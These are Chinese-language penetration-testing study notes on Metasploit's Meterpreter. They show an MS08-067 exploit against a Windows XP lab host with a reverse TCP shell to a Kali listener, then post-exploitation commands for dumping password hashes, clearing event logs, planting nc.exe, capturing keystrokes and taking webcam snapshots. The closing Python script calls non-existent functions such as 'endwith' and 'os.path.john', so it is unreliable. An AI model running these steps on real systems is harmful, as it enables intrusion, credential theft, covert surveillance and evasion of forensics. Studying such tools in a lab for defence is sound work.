Kali linux 學習筆記(九十三)metasploit framework——metepreter 2020.4.25

前言

本節學習metepreter

1、簡介

  • 高級、動態、可擴展的 payload
  • 基於 metepreter 上下文利用更多漏洞發起攻擊
  • 後滲透測試階段一站式操作界面

完全基於內存的 DLL 注入式 payload (不寫硬盤)

  • 注入合法系統進程並建立 stager
  • 基於 stager 上傳和預加載 dll 進行擴展模塊 TLS/1.0 通信隧道
  • 利用 TLS 隧道進一步加載後續擴展模塊(避免網絡取證)

服務端使用 c 語言編寫
客戶端提供基於 ruby 的全特性 API(支持任何語言)

1、簡單使用

msfconsole
msf > meterpreter
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.121 #winxp
msf exploit(ms08_067_netapi) > set target 34 #winxp
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set lhost 192.168.1.113 #kali
msf exploit(ms08_067_netapi) > set lport 4444
msf exploit(ms08_067_netapi) > exploit -j #啓動
msf exploit(ms08_067_netapi) > sessions -l #查看窗口
msf exploit(ms08_067_netapi) > sessions -i 1 #打開反彈過來的shell,這是個meterpreter的shell

2、查看幫助

meterpreter > help
核心命令
=============
    命令                     描述
    -------                   -----------
    ?                         幫助菜單
    background                背景當前會話
    bgkill                    殺死一個背景meterpreter腳本
    bglist                    列出運行後臺腳本
    bgrun                     執行一個meterpreter腳本作爲後臺線程
    channel                   顯示信息或控制活動頻道
    close                     關閉頻道
    disable_unicode_encoding  禁用unicode字符串的編碼
    enable_unicode_encoding   啓用unicode字符串的編碼
    exit                      終止meterpreter會話
    get_timeouts              獲取當前會話超時值
    guid                      獲取會話GUID
    help                      幫助菜單
    info                      顯示有關Post模塊的信息
    irb                       進入irb腳本模式
    load                      加載一個或多個meterpreter擴展
    machine_id                獲取連接到會話的計算機的MSF ID
    migrate                   將服務器遷移到另一個進程
    pivot                     管理數據透視監聽器
    quit                      終止meterpreter會話
    read                      從頻道讀取數據
    resource                  運行存儲在文件中的命令
    run                       執行meterpreter腳本或Post模塊
    sessions                  快速切換到另一個會話
    set_timeouts              設置當前會話超時值
    sleep                     Force Meterpreter安靜,然後重新建立會話。
    transport                 更改當前的傳輸機制
    use                       不推薦使用“加載”別名
    uuid                      獲取當前會話的UUID
    write                     將數據寫入通道
Stdapi: 文件系統命令
============================
    命令          描述
    -------       -----------
    cat           將文件的內容讀取到屏幕上
    cd            更改目錄
    checksum      檢索文件的校驗和
    cp            將源複製到目標
    dir           列表文件(ls的別名)
    download      下載文件或目錄
    edit          編輯一個文件
    getlwd        打印本地工作目錄
    getwd         打印工作目錄
    lcd           更改本地工作目錄
    lls           列出本地文件
    lpwd          打印本地工作目錄
    ls            列出文件
    mkdir         建立目錄
    mv            將源移到目標
    pwd           打印工作目錄
    rm            刪除指定的文件
    rmdir         刪除目錄
    search        搜索文件
    show_mount    列出所有安裝點/邏輯驅動器
    upload        上傳文件或目錄
Stdapi: 網絡命令
===========================
    命令          描述
    -------       -----------
    arp           顯示主機ARP緩存
    getproxy      顯示當前的代理配置
    ifconfig      顯示界面
    ipconfig      顯示界面
    netstat       顯示網絡連接
    portfwd       將本地端口轉發到遠程服務
    resolve       解析目標上的一組主機名
    route         查看和修改路由表
Stdapi: 系統命令
=======================
    Command       Description
    -------       -----------
    clearev       清除事件日誌
    drop_token    放棄任何活動的模擬令牌。
    execute       執行一個命令
    getenv        獲取一個或多個環境變量值
    getpid        獲取當前的進程標識符
    getprivs      嘗試啓用當前進程可用的所有權限
    getsid        獲取運行服務器的用戶的SID
    getuid        獲取服務器正在運行的用戶
    kill          終止一個過程
    localtime     顯示目標系統的本地日期和時間
    pgrep         按名稱過濾進程
    pkill         按名稱終止進程
    ps            列出運行的進程
    reboot        重新啓動遠程計算機
    reg           修改遠程註冊表並與之交互
    rev2self      在遠程機器上調用RevertToSelf()
    shell         放入系統命令外殼
    shutdown      關閉遠程計算機
    steal_token   嘗試從目標進程中盜取模擬令牌
    suspend       暫停或恢復進程列表
    sysinfo       獲取有關遠程系統的信息,例如OS
Stdapi: 用戶界面命令
===============================
    命令          描述
    -------        -----------
    enumdesktops   列出所有可訪問的桌面和窗口工作站
    getdesktop     獲取當前meterpreter桌面
    idletime       返回遠程用戶閒置的秒數
    keyscan_dump   轉儲按鍵緩衝區
    keyscan_start  開始捕捉擊鍵
    keyscan_stop   停止捕獲擊鍵
    screenshot     獲取交互式桌面的屏幕截圖
    setdesktop     更改meterpreters當前桌面
    uictl          控制一些用戶界面組件
Stdapi: Webcam 命令
=======================
    命令          描述
    -------        -----------
    record_mic     從默認麥克風錄製音頻X秒
    webcam_chat    開始視頻聊天
    webcam_list    列出網絡攝像頭
    webcam_snap    從指定的攝像頭拍攝快照
    webcam_stream  從指定的攝像頭播放視頻流
Priv: Elevate Commands
======================
    命令          描述
    -------       -----------
    getsystem     嘗試將您的特權提升爲本地系統的特權。
Priv: 密碼數據庫命令
================================
    命令          描述
    -------       -----------
    hashdump      轉儲SAM數據庫的內容
Priv: Timestomp 命令
========================
    命令          描述
    -------       -----------
    timestomp     操縱文件MACE屬性

3、一些使用

meterpreter > execute -f cmd.exe
meterpreter > ps
meterpreter > getuid
meterpreter > getpid
meterpreter > clearev   # 清除日誌,消除痕跡
#上傳文件
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32   
msf exploit(windows/smb/ms08_067_netapi) > sessions -l
msf exploit(windows/smb/ms08_067_netapi) > sessions -i 1
#讀取密碼
meterpreter > hashdump  # 讀取密碼
meterpreter > run post/windows/gather/hashdump  # 讀取密碼,兩個命令差不多
#shell
meterpreter > shell
#arp
meterpreter > arp #看arp緩存
#netstat
meterpreter > netstat #看網絡信息
#路由表
meterpreter > route
#目標的空閒時間
meterpreter > idletime #多久沒做操作了,可以估摸目標機的使用者可能不在計算機前
#攝像頭
meterpreter > webcam_list #查看連着的攝像頭
meterpreter >webcam_snap -i 1 -v false #每隔一秒拍一下

4、python 擴展

2015 年11月份,來自社區貢獻
無需運行環境,在客戶端運行原生 python 代碼

meterpreter > load python
meterpreter > python_execute "print ('hello world')" #簡單的print
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd 
meterpreter > python_import -f find.py #調用腳本

腳本find.py #查找win.ini

import os
for root,dirs,files in os.walk("c://"):
 for file in files:
  if file.endwith(".ini" ) and file.startwith("win"):
   print(os.path.john(root,file))

結語

一站式payload

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章